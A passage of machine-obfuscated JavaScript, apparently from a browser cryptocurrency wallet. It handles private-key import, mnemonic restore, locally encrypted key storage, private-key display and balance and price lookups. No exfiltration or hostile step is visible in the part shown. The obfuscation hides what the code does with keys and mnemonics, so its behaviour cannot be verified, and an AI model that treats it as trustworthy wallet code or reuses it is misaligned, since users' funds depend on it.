_0x1998a8=_0x481ed0,_0x3ea443=document[_0x1998a8(0x2e7)+'ById']('importBloc'+_0x1998a8(0x114)+'ct')[_0x1998a8(0x109)],_0x5711cd=document[_0x1998a8(0x2e7)+_0x1998a8(0x258)](_0x1998a8(0x1ef)+'Input')[_0x1998a8(0x109)][_0x1998a8(0x214)](),_0x4ca255=document['getElement'+_0x1998a8(0x258)](_0x1998a8(0x204)+_0x1998a8(0x114)+'ct'),_0x13337e=_0x4ca255[_0x1998a8(0x362)][_0x4ca255[_0x1998a8(0x183)+_0x1998a8(0x3b0)]]['innerText'];console[_0x1998a8(0x35d)](_0x1998a8(0x1d5)+_0x1998a8(0x33f),_0x13337e);if(!_0x5711cd){ShowToast(_0x1998a8(0x1c3)+_0x1998a8(0x161)+_0x1998a8(0x1c6)+_0x1998a8(0x295));return;}try{switch(CoinsJson[_0x13337e][_0x1998a8(0x18b)+'e']){case'BitcoinLik'+'e':bitcoin[_0x1998a8(0x21a)][_0x1998a8(0x3a9)](_0x5711cd,CoinsJson[_0x13337e][_0x1998a8(0x3a8)+'a']);break;case _0x1998a8(0x29e):if(!ethers[_0x1998a8(0x3a1)][_0x1998a8(0x2fa)+'g'](_0x5711cd,0x223d*-0x1+0x1ab+0x12*0x1d1))throw new Error(_0x1998a8(0x16d)+'m\x20private\x20'+'key.');break;case _0x1998a8(0x2e8):if(!tronWeb['isAddress'](tronWeb[_0x1998a8(0x1ec)][_0x1998a8(0x25a)+'eKey'](_0x5711cd)))throw new Error(_0x1998a8(0x132)+_0x1998a8(0x38a)+_0x1998a8(0x14d));break;default:ShowToast(_0x1998a8(0x210)+'Unsupporte'+_0x1998a8(0x168)+_0x1998a8(0x372));return;}importKeyToWallet(_0x13337e,_0x5711cd);}catch(_0x4dc127){console[_0x1998a8(0x39c)](_0x1998a8(0x36b)+_0x1998a8(0x2db)+':',_0x4dc127),ShowToast(_0x1998a8(0x38c)+_0x1998a8(0x30a)+_0x1998a8(0x112));}}),document[_0x481ed0(0x2e7)+_0x481ed0(0x258)](_0x481ed0(0x1b0)+_0x481ed0(0x252))[_0x481ed0(0x10e)+_0x481ed0(0x370)](_0x481ed0(0x3ba),saveSelections),document[_0x481ed0(0x2e7)+_0x481ed0(0x258)]('accountSel'+_0x481ed0(0x252))[_0x481ed0(0x10e)+_0x481ed0(0x370)](_0x481ed0(0x3ba),function(){const _0x2eeef8=_0x481ed0;document[_0x2eeef8(0x2e7)+'ById'](_0x2eeef8(0x139)+_0x2eeef8(0x313))[_0x2eeef8(0x377)]='';const _0xd46c9f=document[_0x2eeef8(0x2e7)+_0x2eeef8(0x258)]('blockchain'+_0x2eeef8(0x2f0))['value'],_0x438a37=document[_0x2eeef8(0x2e7)+_0x2eeef8(0x258)](_0x2eeef8(0x1b0)+_0x2eeef8(0x252))[_0x2eeef8(0x183)+_0x2eeef8(0x3b0)];getBalance(_0xd46c9f),document[_0x2eeef8(0x2e7)+'ById'](_0x2eeef8(0x351)+'n')[_0x2eeef8(0x17d)][_0x2eeef8(0x15b)]===_0x2eeef8(0x2fb)&&EstimateFee();});async function getBalance(_0x50ad94){const _0x2ba2dd=_0x481ed0;var _0x1c7032=document['getElement'+'ById'](_0x2ba2dd(0x1b0)+'ect')[_0x2ba2dd(0x183)+_0x2ba2dd(0x3b0)];const _0xb5407d=loadKeysFromLocalStorage(_0x50ad94),_0x13cecd=document['getElement'+'ById'](_0x2ba2dd(0x208)+_0x2ba2dd(0x2f0)),_0x12a35e=_0x13cecd['options'][_0x13cecd[_0x2ba2dd(0x183)+_0x2ba2dd(0x3b0)]][_0x2ba2dd(0x377)];if(!_0xb5407d||!_0xb5407d[_0x1c7032]){ShowToast(_0x2ba2dd(0x3af)+_0x2ba2dd(0x232)+_0x2ba2dd(0x345));return;}console['log'](_0x2ba2dd(0x1d7)+_0x2ba2dd(0x319),_0x1c7032);const _0x204f71=_0xb5407d[_0x1c7032][_0x2ba2dd(0x1ec)];console[_0x2ba2dd(0x35d)](_0x2ba2dd(0x309)+'e:',_0x204f71);let _0x2e2edb=-0x7*0x1c1+0xced*-0x1+0x1934*0x1;if(CoinsJson[_0x12a35e]['NetworkTyp'+'e']==_0x2ba2dd(0x285)+'e'){var _0x9a570=CoinsJson[_0x12a35e][_0x2ba2dd(0x2ce)];const _0x5a06f7=await fetch(_0x2ba2dd(0x2a1)+_0x2ba2dd(0x3b2)+'her.com/v1'+'/'+_0x9a570+('/main/addr'+'s/')+_0x204f71+'/balance'),_0x319045=await _0x5a06f7[_0x2ba2dd(0x247)]();_0x2e2edb=(_0x319045['balance']/(0x108b4e*-0x48+0x9532184*0x1+-0x1*-0x149ed6c))['toFixed'](-0xbff+0xcb5*0x1+-0xae);var _0x41e741=parseFloat(_0x319045[_0x2ba2dd(0x27a)+_0x2ba2dd(0x235)])/(-0x68158cc+-0x68228e0+-0x1*-0x12f962ac);_0x41e741!==0x939+-0x19*-0x135+-0x2766&&(document[_0x2ba2dd(0x2e7)+_0x2ba2dd(0x258)](_0x2ba2dd(0x134)+_0x2ba2dd(0x2f3))[_0x2ba2dd(0x2ba)]=_0x2ba2dd(0x134)+'d:'+_0x41e741+'\x20'+CoinsJson[_0x12a35e][_0x2ba2dd(0x2ce)]);}else{if(CoinsJson[_0x12a35e][_0x2ba2dd(0x18b)+'e']==_0x2ba2dd(0x29e))_0x2e2edb=await fetchEVMBalance(_0x204f71,_0x12a35e);else{if(CoinsJson[_0x12a35e]['NetworkTyp'+'e']=='tron')_0x2e2edb=await fetchTronBalance(_0x204f71);else{ShowToast(_0x2ba2dd(0x357)+'nce:Unsupp'+_0x2ba2dd(0x283)+_0x2ba2dd(0x239));return;}}}await flashElements(),document[_0x2ba2dd(0x2e7)+_0x2ba2dd(0x258)]('balance')['innerText']=_0x2e2edb+'\x20'+_0x50ad94[_0x2ba2dd(0x1bd)+'e']();const _0x3e93b6=await fetchUSDValue(_0x12a35e,_0x2e2edb);document[_0x2ba2dd(0x2e7)+_0x2ba2dd(0x258)](_0x2ba2dd(0x1f7))[_0x2ba2dd(0x377)]='$'+_0x3e93b6[_0x2ba2dd(0x1e1)](-0x1c53+0x1f55*-0x1+0x3baa)+'\x20USD';}async function fetchUSDValue(_0x812f4a,_0x170c5b){const _0x4cdb9f=_0x481ed0;console[_0x4cdb9f(0x35d)](_0x4cdb9f(0x154),_0x812f4a);const _0xe78984=CoinsJson[_0x812f4a]['PriceKey'],_0x53beb9=_0x4cdb9f(0x2a1)+_0x4cdb9f(0x2b0)+_0x4cdb9f(0x15e)+_0x4cdb9f(0x38b)+_0x4cdb9f(0x1c7)+_0xe78984+(_0x4cdb9f(0x30b)+_0x4cdb9f(0x15c));try{const _0x1aced2=await fetch(_0x53beb9),_0x587c18=await _0x1aced2[_0x4cdb9f(0x247)](),_0xdff2a3=_0x587c18[_0xe78984][_0x4cdb9f(0x20e)];return _0x170c5b*_0xdff2a3;}catch(_0x2175e6){return console[_0x4cdb9f(0x39c)](_0x4cdb9f(0x16e)+_0x4cdb9f(0x22c)+_0x4cdb9f(0x115),_0x2175e6),ShowToast('Failed\x20to\x20'+_0x4cdb9f(0x395)+_0x4cdb9f(0x191)),0x76b*-0x1+0x44e+-0x1*-0x31d;}}async function fetchBitcoinBalance(_0x4c14e4){const _0x4ddc10=_0x481ed0,_0x14fa41=await fetch(_0x4ddc10(0x2a1)+'i.blockcyp'+_0x4ddc10(0x1b9)+_0x4ddc10(0x2d1)+'addrs/'+_0x4c14e4+'/balance'),_0x30d6ae=await _0x14fa41[_0x4ddc10(0x247)]();return(_0x30d6ae[_0x4ddc10(0x374)]/(-0x1a8ba6e*0x2+0x362842*0xc+-0xe*-0x7b3f0e))[_0x4ddc10(0x1e1)](-0x1a5*-0xd+0x5c*-0x64+0x4dd*0x3);}async function fetchDogecoinBalance(_0x33c07b){const _0x19a2e9=_0x481ed0,_0x4113c4=await fetch(_0x19a2e9(0x2a1)+'i.blockcyp'+_0x19a2e9(0x1b9)+_0x19a2e9(0x1e3)+_0x19a2e9(0x131)+_0x33c07b+'/balance'),_0x114c65=await _0x4113c4[_0x19a2e9(0x247)]();return(_0x114c65['balance']/(-0xecd897*0xb+-0xbe47daa+0x1c07ad27))[_0x19a2e9(0x1e1)](-0x37*-0x27+-0x69d+-0x25*0xc);}async function fetchLitecoinBalance(_0x34ae1b){const _0x19a8e1=_0x481ed0,_0x35af9b=await fetch(_0x19a8e1(0x2a1)+_0x19a8e1(0x3b2)+'her.com/v1'+_0x19a8e1(0x282)+_0x19a8e1(0x37e)+_0x34ae1b+_0x19a8e1(0x270)),_0x34592f=await _0x35af9b[_0x19a8e1(0x247)]();return(_0x34592f[_0x19a8e1(0x374)]/(-0xb985920+0x56bd6c7+0xc226359))[_0x19a8e1(0x1e1)](-0x4*0xf8+-0x179c+0x1b84);}async function fetchEVMBalance(_0x4b96da,_0x19cf2b){const _0x6f8fcc=_0x481ed0,_0x44b2dc=new Web3(CoinsJson[_0x19cf2b]['RPCURL']);try{const _0x3eb1a7=await _0x44b2dc[_0x6f8fcc(0x275)][_0x6f8fcc(0x35f)](_0x4b96da),_0x1af1dd=_0x44b2dc['utils'][_0x6f8fcc(0x27c)](_0x3eb1a7,'ether');return document['getElement'+_0x6f8fcc(0x258)](_0x6f8fcc(0x374))[_0x6f8fcc(0x377)]=_0x6f8fcc(0x36c)+_0x1af1dd+_0x6f8fcc(0x10f),_0x1af1dd;}catch(_0x4d8790){ShowToast(_0x4d8790[_0x6f8fcc(0x31f)]);}}async function fetchTronBalance(_0xf8f68e){const _0x1ffc2d=_0x481ed0,_0x56c1a7=await tronWeb[_0x1ffc2d(0x2e8)][_0x1ffc2d(0x35f)](_0xf8f68e);return(_0x56c1a7/(0x4c*-0x43ea+-0x155324+0x38bedc))[_0x1ffc2d(0x1e1)](-0x1f0d*0x1+0x9d8+0x153b);}function copyText(_0x1e3f02){const _0x471011=_0x481ed0,_0x411a17=document[_0x471011(0x2e7)+_0x471011(0x258)](_0x1e3f02),_0x1f5c9c=_0x411a17['options'][_0x411a17['selectedIn'+'dex']]['value'];navigator['clipboard'][_0x471011(0x381)](_0x1f5c9c)[_0x471011(0x1c1)](function(){const _0x5d4773=_0x471011;ShowToast(_0x5d4773(0x354)+_0x5d4773(0x189)+_0x5d4773(0x29f));},function(_0x3bc4fa){const _0x588e47=_0x471011;console['error']('Failed\x20to\x20'+_0x588e47(0x2aa)+'\x20',_0x3bc4fa),ShowToast(_0x588e47(0x125)+_0x588e47(0x276)+_0x588e47(0x209));});}function copyMnemonic(){const _0x3aaa65=_0x481ed0,_0x466a3e=document[_0x3aaa65(0x2e7)+_0x3aaa65(0x258)]('MnemonicTe'+'xt')[_0x3aaa65(0x377)];navigator[_0x3aaa65(0x2f7)]['writeText'](_0x466a3e)[_0x3aaa65(0x1c1)](function(){const _0x240da6=_0x3aaa65;ShowToast(_0x240da6(0x354)+_0x240da6(0x189)+'ipboard!');},function(_0x40fc2f){const _0x4574e2=_0x3aaa65;console['error'](_0x4574e2(0x125)+'copy\x20text:'+'\x20',_0x40fc2f),ShowToast(_0x4574e2(0x125)+'copy\x20addre'+_0x4574e2(0x209));});}document[_0x481ed0(0x2e7)+'ById'](_0x481ed0(0x366)+'D')[_0x481ed0(0x10e)+'stener']('click',function(){const _0x50ebaa=_0x481ed0;var _0x2e55b0=parseFloat(document[_0x50ebaa(0x2e7)+_0x50ebaa(0x258)](_0x50ebaa(0x374))[_0x50ebaa(0x377)]);document[_0x50ebaa(0x2e7)+_0x50ebaa(0x258)](_0x50ebaa(0x2dd)+'t')[_0x50ebaa(0x109)]=_0x2e55b0;}),document[_0x481ed0(0x2e7)+_0x481ed0(0x258)](_0x481ed0(0x337)+_0x481ed0(0x266))[_0x481ed0(0x10e)+_0x481ed0(0x370)](_0x481ed0(0x1f8),function(){const _0x56606f=_0x481ed0,_0x5f430d=document[_0x56606f(0x2e7)+'ById']('accountSel'+'ect'),_0x592428=_0x5f430d[_0x56606f(0x362)][_0x5f430d['selectedIn'+_0x56606f(0x3b0)]][_0x56606f(0x109)];document[_0x56606f(0x2e7)+'ById'](_0x56606f(0x1e9))['innerHTML']='';let _0x136f43=_0x592428,_0x5ec21f=new QRCode(document[_0x56606f(0x2e7)+_0x56606f(0x258)](_0x56606f(0x1e9)),{'text':_0x592428,'width':0x190,'height':0x190});$('#qrCodeMod'+'al')[_0x56606f(0x2a9)](_0x56606f(0x294));});async function RefreshBalance(){const _0x6d894d=_0x481ed0;document['getElement'+_0x6d894d(0x258)](_0x6d894d(0x134)+_0x6d894d(0x2f3))[_0x6d894d(0x2ba)]='';var _0x591a96=document[_0x6d894d(0x2e7)+_0x6d894d(0x258)](_0x6d894d(0x208)+_0x6d894d(0x2f0))[_0x6d894d(0x109)],_0x3c7781=document['getElement'+_0x6d894d(0x258)](_0x6d894d(0x1b0)+_0x6d894d(0x252))[_0x6d894d(0x183)+_0x6d894d(0x3b0)];document[_0x6d894d(0x2e7)+'ById'](_0x6d894d(0x314)+_0x6d894d(0x2ef)+'ID')[_0x6d894d(0x353)]=!![],console[_0x6d894d(0x35d)](_0x6d894d(0x314)+_0x6d894d(0x149)+_0x6d894d(0x264),_0x3c7781),await getBalance(_0x591a96),await updateIcon();}async function fetchFeeRate(){const _0x59ee53=_0x481ed0;let _0x249d05;const _0x3815a4=document[_0x59ee53(0x2e7)+_0x59ee53(0x258)]('blockchain'+'Select'),_0x2531c1=_0x3815a4[_0x59ee53(0x362)][_0x3815a4[_0x59ee53(0x183)+_0x59ee53(0x3b0)]][_0x59ee53(0x377)];_0x249d05=_0x59ee53(0x2a1)+_0x59ee53(0x3b2)+'her.com/v1'+'/'+CoinsJson[_0x2531c1]['symbol']+'/main';try{const _0x336d50=await fetch(_0x249d05),_0x481f43=await _0x336d50['json']();return _0x481f43['medium_fee'+_0x59ee53(0x1b2)]/(-0xfc9+0x133e+-0x73*-0x1);}catch(_0x2e4f0b){return console[_0x59ee53(0x39c)]('Error\x20fetc'+_0x59ee53(0x1ff)+_0x59ee53(0x1cf),_0x2e4f0b),-0xb2f+0xc88+0x7*0x299;}}document[_0x481ed0(0x2e7)+_0x481ed0(0x258)]('amountInpu'+'t')['addEventLi'+_0x481ed0(0x370)](_0x481ed0(0x35b),async function(){const _0x22e148=_0x481ed0,_0x4f27de=document[_0x22e148(0x2e7)+'ById']('blockchain'+_0x22e148(0x2f0))[_0x22e148(0x109)],_0x37e77a=parseFloat(this['value']);if(!_0x37e77a||_0x37e77a<=-0x13bd+0x7*-0x2ea+0x5*0x807){ShowToast(_0x22e148(0x1c3)+_0x22e148(0x161)+_0x22e148(0x335));return;}console[_0x22e148(0x35d)]('amount:',_0x37e77a);var _0x5ba40c=parseFloat(document[_0x22e148(0x2e7)+_0x22e148(0x258)](_0x22e148(0x374))['innerText']);console[_0x22e148(0x35d)]('document.g'+_0x22e148(0x182)+_0x22e148(0x321)+_0x22e148(0x1d4)+':',document['getElement'+_0x22e148(0x258)](_0x22e148(0x374))[_0x22e148(0x377)]),_0x37e77a>_0x5ba40c&&(document[_0x22e148(0x2e7)+'ById']('amountInpu'+'t')[_0x22e148(0x109)]=_0x5ba40c);});function estimateMinerFee(_0x370e66,_0x451d9f){const _0x100976=0x517*0x1+-0xa53+-0xb*-0x8c,_0x73cc1e=_0x100976*_0x451d9f;return _0x73cc1e/(0x8c57042+-0x34c63bc+0x7cd47a);}function updateFeeDisplay(_0x5dfeb2){const _0x27e15a=_0x481ed0,_0x49663d=document[_0x27e15a(0x2e7)+_0x27e15a(0x258)](_0x27e15a(0x208)+_0x27e15a(0x2f0)),_0x148699=_0x49663d[_0x27e15a(0x362)][_0x49663d[_0x27e15a(0x183)+'dex']][_0x27e15a(0x377)],_0x24970c=cryptoPrices[_0x148699]||-0x5e*0x66+0x1*-0xc4b+0x31bf,_0x404b70=document['getElement'+_0x27e15a(0x258)](_0x27e15a(0x360));_0x404b70['innerText']=_0x5dfeb2+'\x20'+CoinsJson[_0x148699][_0x27e15a(0x2ce)]+_0x27e15a(0x23d)+(_0x5dfeb2*_0x24970c)[_0x27e15a(0x1e1)](-0x1*0xb0+-0x264d+0x26ff)+_0x27e15a(0x26a);}async function updateIcon(){const _0x32b08f=_0x481ed0,_0x12e6ae=document[_0x32b08f(0x2e7)+_0x32b08f(0x258)]('blockchain'+_0x32b08f(0x2f0)),_0x5d29bb=_0x12e6ae[_0x32b08f(0x362)][_0x12e6ae[_0x32b08f(0x183)+'dex']],_0x380ffc=_0x5d29bb[_0x32b08f(0x2ff)+'te'](_0x32b08f(0x221));document['getElement'+_0x32b08f(0x258)](_0x32b08f(0x1a4))[_0x32b08f(0x15a)]=_0x380ffc,_0x12e6ae[_0x32b08f(0x17d)][_0x32b08f(0x304)+_0x32b08f(0x2f2)]=_0x32b08f(0x333)+_0x380ffc+')';};async function HideSendSection(){const _0x37d79c=_0x481ed0;document['getElement'+_0x37d79c(0x258)](_0x37d79c(0x1a9)+_0x37d79c(0x31d))[_0x37d79c(0x17d)][_0x37d79c(0x15b)]=_0x37d79c(0x16c),document[_0x37d79c(0x2e7)+_0x37d79c(0x258)](_0x37d79c(0x351)+'n')['style']['display']=_0x37d79c(0x16c),document[_0x37d79c(0x2e7)+'ById'](_0x37d79c(0x207)+'tion')[_0x37d79c(0x17d)][_0x37d79c(0x15b)]=_0x37d79c(0x16c);}function loadBlockchainOptions(_0x24368b){const _0x3cb92c=_0x481ed0;for(const _0xe0f0b8 in CoinsJson){if(CoinsJson[_0x3cb92c(0x1df)+_0x3cb92c(0x284)](_0xe0f0b8)){const _0x3c2a6d=CoinsJson[_0xe0f0b8],_0x1a442c=document[_0x3cb92c(0x1ae)+_0x3cb92c(0x145)](_0x3cb92c(0x150));_0x1a442c['value']=_0x3c2a6d[_0x3cb92c(0x2ce)],_0x1a442c[_0x3cb92c(0x24a)]=_0xe0f0b8,_0x1a442c['setAttribu'+'te'](_0x3cb92c(0x221),_0x3cb92c(0x1ab)+_0x3c2a6d[_0x3cb92c(0x2ce)][_0x3cb92c(0x1bd)+'e']()+_0x3cb92c(0x1ca)),_0x24368b[_0x3cb92c(0x1ad)+'d'](_0x1a442c);}}}async function ClearStorage(){const _0x512481=_0x481ed0;for(const _0x3f5244 in CoinsJson){var _0x2a84db=CoinsJson[_0x3f5244]['symbol'];const _0x14ba88=_0x512481(0x1d9)+'t_'+_0x2a84db+'_accounts',_0x1c8e0f='MultiWalle'+'t_'+_0x2a84db+(_0x512481(0x1ce)+'UseIndex');localStorage[_0x512481(0x17e)](_0x14ba88),localStorage['removeItem'](_0x1c8e0f),localStorage[_0x512481(0x17e)](_0x512481(0x1d9)+'t_encrypte'+_0x512481(0x310)+'ssword'),localStorage['removeItem'](_0x512481(0x1d9)+'t_selected'+_0x512481(0x165)+'ex'),localStorage['removeItem'](_0x512481(0x1d9)+_0x512481(0x392)+_0x512481(0x254)),localStorage[_0x512481(0x17e)](_0x512481(0x1d9)+_0x512481(0x392)+'Blockchain'+'Index');}}async function CancelSendSection(){const _0x5e8c51=_0x481ed0;document[_0x5e8c51(0x2e7)+_0x5e8c51(0x258)](_0x5e8c51(0x1a9)+'tion')[_0x5e8c51(0x17d)]['display']=_0x5e8c51(0x16c),document[_0x5e8c51(0x2e7)+'ById']('sendSectio'+'n')[_0x5e8c51(0x17d)][_0x5e8c51(0x15b)]='none',document[_0x5e8c51(0x2e7)+_0x5e8c51(0x258)]('sendTRXSec'+'tion')[_0x5e8c51(0x17d)][_0x5e8c51(0x15b)]=_0x5e8c51(0x16c),document['getElement'+_0x5e8c51(0x258)](_0x5e8c51(0x290)+_0x5e8c51(0x2fe))[_0x5e8c51(0x17d)]['display']=_0x5e8c51(0x16c),document[_0x5e8c51(0x2e7)+'ById'](_0x5e8c51(0x289)+_0x5e8c51(0x31d))[_0x5e8c51(0x17d)][_0x5e8c51(0x15b)]=_0x5e8c51(0x16c);}async function ResetWallet(){const _0x1475d0=_0x481ed0;var _0x590839=window[_0x1475d0(0x174)](_0x1475d0(0x146)+_0x1475d0(0x1a7)+_0x1475d0(0x195)+_0x1475d0(0x32d)+'s\x20step\x20wil'+_0x1475d0(0x29d)+_0x1475d0(0x339)+_0x1475d0(0x28a)+_0x1475d0(0x349));_0x590839?(console[_0x1475d0(0x35d)](_0x1475d0(0x34e)+_0x1475d0(0x25b)),await ClearStorage(),window[_0x1475d0(0x272)][_0x1475d0(0x119)]()):console['log']('You\x20clicke'+_0x1475d0(0x332));}function setInitialIcon(_0x589382,_0x39cda9){const _0x510720=_0x481ed0,_0xafda27=_0x589382['options'][_0x589382[_0x510720(0x183)+_0x510720(0x3b0)]],_0x2964ec=_0xafda27[_0x510720(0x2ff)+'te'](_0x510720(0x221));_0x39cda9[_0x510720(0x15a)]=_0x2964ec,_0x589382[_0x510720(0x17d)][_0x510720(0x304)+_0x510720(0x2f2)]=_0x510720(0x333)+_0x2964ec+')';}document[_0x481ed0(0x2e7)+_0x481ed0(0x258)](_0x481ed0(0x128)+_0x481ed0(0x220))[_0x481ed0(0x10e)+_0x481ed0(0x370)](_0x481ed0(0x1f8),async function(){const _0x2b5b93=_0x481ed0,_0x341310=document['getElement'+'ById'](_0x2b5b93(0x369)+_0x2b5b93(0x1d2))[_0x2b5b93(0x109)][_0x2b5b93(0x214)](),_0x9c4945=document[_0x2b5b93(0x2e7)+_0x2b5b93(0x258)](_0x2b5b93(0x2dd)+_0x2b5b93(0x1a3))[_0x2b5b93(0x109)][_0x2b5b93(0x214)]();console[_0x2b5b93(0x35d)](_0x2b5b93(0x142),_0x341310),console[_0x2b5b93(0x35d)]('amount:',_0x9c4945);const _0x3016e5=document['getElement'+_0x2b5b93(0x258)](_0x2b5b93(0x1ee)+_0x2b5b93(0x1a3))[_0x2b5b93(0x377)],_0x2576eb=document[_0x2b5b93(0x2e7)+_0x2b5b93(0x258)]('blockchain'+_0x2b5b93(0x2f0)),_0x116b71=_0x2576eb[_0x2b5b93(0x362)][_0x2576eb[_0x2b5b93(0x183)+_0x2b5b93(0x3b0)]][_0x2b5b93(0x377)];document[_0x2b5b93(0x2e7)+'ById'](_0x2b5b93(0x326)+_0x2b5b93(0x3b3))[_0x2b5b93(0x17d)][_0x2b5b93(0x15b)]=_0x2b5b93(0x16c),document[_0x2b5b93(0x2e7)+_0x2b5b93(0x258)](_0x2b5b93(0x30e)+_0x2b5b93(0x3b5))[_0x2b5b93(0x17d)][_0x2b5b93(0x15b)]=_0x2b5b93(0x1fb)+'ck',_0x3016e5===CoinsJson[_0x116b71][_0x2b5b93(0x2ce)]?await sendTron(_0x341310,_0x9c4945):await sendTronToken(_0x341310,_0x9c4945,selectedTokenAddress),document[_0x2b5b93(0x2e7)+_0x2b5b93(0x258)](_0x2b5b93(0x326)+'tonText')[_0x2b5b93(0x17d)][_0x2b5b93(0x15b)]=_0x2b5b93(0x1fb)+'ck',document['getElement'+_0x2b5b93(0x258)](_0x2b5b93(0x30e)+_0x2b5b93(0x3b5))[_0x2b5b93(0x17d)][_0x2b5b93(0x15b)]='none';});function loadTronTokens1(){const _0x4bff36=_0x481ed0,_0x41c17f=document['getElement'+_0x4bff36(0x258)](_0x4bff36(0x1ee)+_0x4bff36(0x1a3));_0x41c17f[_0x4bff36(0x2ba)]='';const _0x6fa03f=document[_0x4bff36(0x1ae)+_0x4bff36(0x145)](_0x4bff36(0x150));_0x6fa03f['value']=_0x4bff36(0x2e8),_0x6fa03f['text']=_0x4bff36(0x31e),_0x41c17f[_0x4bff36(0x1ad)+'d'](_0x6fa03f);const _0x4261d1=CoinsJson[_0x4bff36(0x199)][_0x4bff36(0x3b1)];for(const _0x4b05b2 in _0x4261d1){const _0x11df4f=document[_0x4bff36(0x1ae)+_0x4bff36(0x145)](_0x4bff36(0x150));_0x11df4f[_0x4bff36(0x109)]=_0x4261d1[_0x4b05b2][_0x4bff36(0x2ed)+_0x4bff36(0x26b)],_0x11df4f[_0x4bff36(0x24a)]=_0x4b05b2+'\x20('+_0x4261d1[_0x4b05b2]['symbol']+')',_0x41c17f[_0x4bff36(0x1ad)+'d'](_0x11df4f);}}async function initUseIndex(_0x47318a){const _0x497abc=_0x481ed0,_0x46136a=_0x497abc(0x1d9)+'t_'+_0x47318a+(_0x497abc(0x1ce)+_0x497abc(0x387));!localStorage['getItem'](_0x46136a)&&localStorage[_0x497abc(0x2cb)](_0x46136a,0xef6+-0x165a+0x764);}function showPrivateKeyModal(){const _0x39cc7c=_0x481ed0,_0x4e29e7=document[_0x39cc7c(0x2e7)+_0x39cc7c(0x258)](_0x39cc7c(0x208)+'Select')[_0x39cc7c(0x109)],_0x5d08c9=document[_0x39cc7c(0x2e7)+_0x39cc7c(0x258)](_0x39cc7c(0x1b0)+_0x39cc7c(0x252))[_0x39cc7c(0x183)+_0x39cc7c(0x3b0)],_0x4e1193=loadKeysFromLocalStorage(_0x4e29e7);if(!_0x4e1193||!_0x4e1193[_0x5d08c9]){ShowToast(_0x39cc7c(0x2a8)+_0x39cc7c(0x383)+'t\x20found.');return;}const _0x52a699=_0x4e1193[_0x5d08c9][_0x39cc7c(0x1ef)],_0x551216=CryptoJS[_0x39cc7c(0x35c)][_0x39cc7c(0x2b7)](_0x52a699,pass)['toString'](CryptoJS[_0x39cc7c(0x1dc)][_0x39cc7c(0x196)]);if(_0x551216){document[_0x39cc7c(0x2e7)+_0x39cc7c(0x258)](_0x39cc7c(0x1ef)+'Text')['textConten'+'t']=_0x551216,document[_0x39cc7c(0x2e7)+'ById'](_0x39cc7c(0x1ef)+'QRCode')[_0x39cc7c(0x2ba)]='';const _0x16aaef=new QRCode(document[_0x39cc7c(0x2e7)+_0x39cc7c(0x258)](_0x39cc7c(0x1ef)+_0x39cc7c(0x2f9)),{'text':_0x551216,'width':0x100,'height':0x100});$('#privateKe'+_0x39cc7c(0x1d1))[_0x39cc7c(0x2a9)](_0x39cc7c(0x294));}else ShowToast(_0x39cc7c(0x125)+_0x39cc7c(0x274)+_0x39cc7c(0x34d)+_0x39cc7c(0x14d));}function validatePassword(){const _0x32fa6e=_0x481ed0,_0x23d85f=document[_0x32fa6e(0x2e7)+_0x32fa6e(0x258)](_0x32fa6e(0x28e)+_0x32fa6e(0x255)+'t')[_0x32fa6e(0x109)];console['log'](_0x32fa6e(0x346)+'sword:',_0x23d85f),_0x23d85f===pass?($(_0x32fa6e(0x393)+_0x32fa6e(0x2c9))['modal']('hide'),showPrivateKeyModal()):($('#passwordP'+_0x32fa6e(0x2c9))[_0x32fa6e(0x2a9)](_0x32fa6e(0x1d0)),ShowToast(_0x32fa6e(0x1f0)+_0x32fa6e(0x23c)+_0x32fa6e(0x33b)+_0x32fa6e(0x308)));}function ShowPrivateKey(){const _0x424196=_0x481ed0;$('#passwordP'+_0x424196(0x2c9))['modal'](_0x424196(0x294));}async function RestoreAccounts(){const _0x9ef4c3=_0x481ed0,_0x259ce6=document[_0x9ef4c3(0x2e7)+_0x9ef4c3(0x258)](_0x9ef4c3(0x361)+'put')['value'][_0x9ef4c3(0x214)]();if(_0x259ce6===''||!bip39[_0x9ef4c3(0x2dc)+'emonic'](_0x259ce6)){ShowToast(_0x9ef4c3(0x347)+'emonic.\x20Pl'+_0x9ef4c3(0x1cc)+_0x9ef4c3(0x20b)+_0x9ef4c3(0x24b)+_0x9ef4c3(0x1f5));return;}await ClearStorage(),initWallets(_0x259ce6),ShowToast(_0x9ef4c3(0x17b)+_0x9ef4c3(0x2b2)+'y\x20restored'+_0x9ef4c3(0x152)+_0x9ef4c3(0x2e2)),document['getElement'+_0x9ef4c3(0x258)](_0x9ef4c3(0x289)+_0x9ef4c3(0x31d))['style']['display']=_0x9ef4c3(0x16c);}async function wait(_0x32495c){return new Promise(_0xa636b7=>setTimeout(_0xa636b7,_0x32495c));}document[_0x481ed0(0x2e7)+_0x481ed0(0x258)]('restoreBut'+_0x481ed0(0x31a))['addEventLi'+'stener'](_0x481ed0(0x1f8),function(){const _0x26ce27=_0x481ed0;document[_0x26ce27(0x2e7)+_0x26ce27(0x258)](_0x26ce27(0x139)+_0x26ce27(0x313))[_0x26ce27(0x377)]='',document[_0x26ce27(0x2e7)+'ById'](_0x26ce27(0x290)+_0x26ce27(0x2fe))[_0x26ce27(0x17d)][_0x26ce27(0x15b)]=_0x26ce27(0x16c),HideSendSection();const _0x193397=document[_0x26ce27(0x2e7)+_0x26ce27(0x258)](_0x26ce27(0x289)+_0x26ce27(0x31d));_0x193397[_0x26ce27(0x17d)][_0x26ce27(0x15b)]===_0x26ce27(0x16c)?_0x193397['style'][_0x26ce27(0x15b)]=_0x26ce27(0x2fb):_0x193397[_0x26ce27(0x17d)][_0x26ce27(0x15b)]=_0x26ce27(0x16c);});async function fetchCryptoPrices(){const _0x541a1b=_0x481ed0;try{const _0x5efc54=await fetch('https://ap'+_0x541a1b(0x2b0)+_0x541a1b(0x15e)+_0x541a1b(0x38b)+'price?ids='+_0x541a1b(0x12b)+_0x541a1b(0x251)+_0x541a1b(0x107)+_0x541a1b(0x299)+_0x541a1b(0x23a)+'sd'),_0x247e92=await 